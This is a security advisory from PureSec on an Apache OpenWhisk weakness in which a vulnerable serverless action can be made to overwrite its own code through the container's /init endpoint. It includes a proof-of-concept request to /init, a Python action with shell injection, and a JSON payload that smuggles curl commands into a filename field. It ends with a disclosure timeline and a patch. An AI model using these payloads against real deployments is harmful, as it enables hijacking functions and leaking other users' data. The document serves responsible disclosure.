Apache OpenWhisk

'Action' Mutability Weakness

PureSec Security Advisory

Executive Summary

Apache OpenWhisk is a serverless, open source cloud platform that executes functions in response to events at any scale. OpenWhisk is a cloud-first distributed event-based programming service. It provides a programming model to upload event handlers to a cloud service, and register the handlers to respond to various events.

PureSec recently discovered that under certain conditions (specified below), a remote attacker may overwrite the source code of the action (serverless function) being executed and influence subsequent executions of the same function in the same container.

An attacker that manages to overwrite or modify the code of the action can then leverage this to perform further attacks such as:

- Leak sensitive action input data during subsequent executions, potentially of different end-users
- Execute rogue logic in parallel to the action's original logic in subsequent executions, potentially of different end-users

In addition, an attacker may launch similar attacks in parallel, and in turn affect additional containers, turning the attack into a more persistent or wide-spread threat.

Technical Details

In OpenWhisk, each action (function) runs inside a Docker container. The system currently interacts with the action inside the container via a REST interface, which is accessible over port 8080 on the container.

There are two endpoints in each action container:

- /init: receives the code to execute inside the container.
- /run: receives the arguments for the action and runs the code.

If an action (serverless function) contains a vulnerability that enables the attacker to force the action to launch a local HTTP request to the /init REST interface over port 8080, the attacker may then overwrite the source code of the action.

The HTTP request that would be sent in order to overwrite the action's code is as follows:

```
POST /init HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 91
Connection: close

 {
    "value": {
        "code": "def main(dict):\n\treturn {\"msg\":\"FOOBAR\"}\n"
    }
}
```

It should be noted that the /init REST endpoint does not return any response, nevertheless, the source code is overwritten.

There are various ways an attacker can manipulate an action to launch an HTTP request to the /init REST interface, for example (but not limited to):

- By exploiting a remote code execution (RCE) vulnerability in the action's logic
- By exploiting a server-side Node.JS Cross-Site Scripting
- By exploiting unsafe use of eval() in different relevant runtime languages
- By exploiting an SSRF vulnerability in the action's logic

As an (over-simplified) example, the Python3 action below, receives a PDF file and converts it to text using a CLI tool called pdftotext. The attacker controls the filename:

```
from subprocess import Popen, PIPE

def main(dict):
    ...
    ... # tmpFileName represents a file uploaded by the end-user for conversion
    proc = Popen("./exec/pdftotext {}".format(tmpFileName), shell=True, stdout=PIPE,
stderr=PIPE)
    return {"result":"success"}
```

The following malicious action input, will perform the following actions:

1) Install the curl HTTP utility
2) Submit the relevant request to the /init REST endpoint
3) Overwrite the action's source code in the current container

```
{
    "filename": "; apt update && apt install -y curl && curl --max-time 5 -d
'{\"value\":{\"code\":\"def main(dict):\\n    return {\\\"msg\\\":\\\"FOOBAR\\\"}\\n\"}}'
-H \"Content-Type: application\/json\" -X POST http:\/\/localhost:8080\/init"
    "Source_url": "http://www.some.site/file.pdf
}
```

With the payload above, the result of this execution would return the following output:

```
Activation ID:
f9dee7f9c9fc4a839ee7f9c9fc8a8305
Results:
{
  "output": [
    "Get:1 http://security.debian.org jessie/updates InRelease [94.4 kB]\nGet:2
http://security.debian.org jessie/updates/main amd64 Packages [623 kB]\nIgn
http://deb.debian.org jessie InRelease\nGet:3 http://deb.debian.org jessie-updates
InRelease [145 kB]\nGet:4 http://deb.debian.org jessie Release.gpg [2434 B]\nGet:5
http://deb.debian.org jessie-updates/main amd64 Packages [23.0 kB]\nGet:6
http://deb.debian.org jessie Release [148 kB]\nGet:7 http://deb.debian.org jessie/main
amd64 Packages [9064 kB]\nFetched 10.1 MB in 2s (4339 kB/s)\nReading package
lists...\nBuilding dependency tree...\nReading state information...\n3 packages can be
upgraded. Run 'apt list --upgradable' to see them.\nReading package lists...\nBuilding
dependency tree...\nReading state information...\nThe following extra packages will be
installed:\n  krb5-locales libcurl3 libgnutls-deb0-28 libgssapi-krb5-2 libhogweed2\n
libidn11 libk5crypto3 libkeyutils1 libkrb5-3 libkrb5support0 libldap-2.4-2\n  libnettle4
libp11-kit0 librtmp1 libsasl2-2 libsasl2-modules\n  libsasl2-modules-db libssh2-1
libtasn1-6\nSuggested packages:\n  gnutls-bin krb5-doc krb5-user libsasl2-modules-otp
libsasl2-modules-ldap\n  li
…
…
…
… since apt-utils is not installed\n  % Total    % Received % Xferd  Average Speed   Time
Time     Time  Current\n                                 Dload  Upload   Total   Spent
Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--
0\r100    82    0     0  100    82      0     67  0:00:01  0:00:01 --:--:--    67\r100
82    0     0  100    82      0     37  0:00:02  0:00:02 --:--:--    37\r100    82    0
0  100    82      0     25  0:00:03  0:00:03 --:--:--    25\r100    82    0     0  100
82      0     19  0:00:04  0:00:04 --:--:--    19curl: (28) Operation timed out after 5000
milliseconds with 0 bytes received\n"
  ]
}
Logs:
[]
```

Any subsequent execution of the action, will result with the following output:

```
Activation ID:
0d6b88cadf98406dab88cadf98906d3d
Results:
{
  "msg": "FOOBAR"
}
Logs:
[]
```

Issue Status & Mitigation

Timeline:

- Initial contact with the Apache OpenWhisk team was made on June 5th 2018 - PureSec provided the advisory + code fix recommendations to the project
- Apache OpenWhisk team confirmed receival of the report on June 6th 2018
- Clarifications/Discussions on the nature & severity of the issue, June 11th - July 3rd 2018
- 2 CVEs were assigned to this weakness:
    - CVE-2018-11756 (link)
    - CVE-2018-11757 (link)
- Pull requests issued by the OpenWhisk team to normalize how OpenWhisk handles re-init across all the runtimes (it was disclosed that Java was already protected)

- https://github.com/apache/incubator-openwhisk-runtime-docker/issues/48
- https://github.com/apache/incubator-openwhisk-runtime-php/issues/33

PureSec recommended that the OpenWhisk project will modify the behavior of the actionProxy to allow access to the /init REST endpoint only once (when the container is instantiated), thus blocking any subsequent attempts to access it.

After a quick research into the source code of actionProxy, we verified that the following changes will mitigate the problem:

https://github.com/apache/incubator-openwhisk-runtime-docker/blob/master/core/actionProxy/actionproxy.py

```
< initialized = False
@proxy.route('/init', methods=['POST'])
def init():
 < global initialized
 < if(initialized):
 <    flask.abort(403)
    message = flask.request.get_json(force=True, silent=True)
    if message and not isinstance(message, dict):
        flask.abort(404)
    else:
        value = message.get('value', {}) if message else {}

    if not isinstance(value, dict):
        flask.abort(404)

    try:
        status = runner.init(value)
    except Exception as e:
        status = False

    if status is True:
 <    initialized = True
        return ('OK', 200)
    else:
        response = flask.jsonify({'error': 'The action failed to generate
or locate a binary. See logs for details.'})
        response.status_code = 502
        return complete(response)
```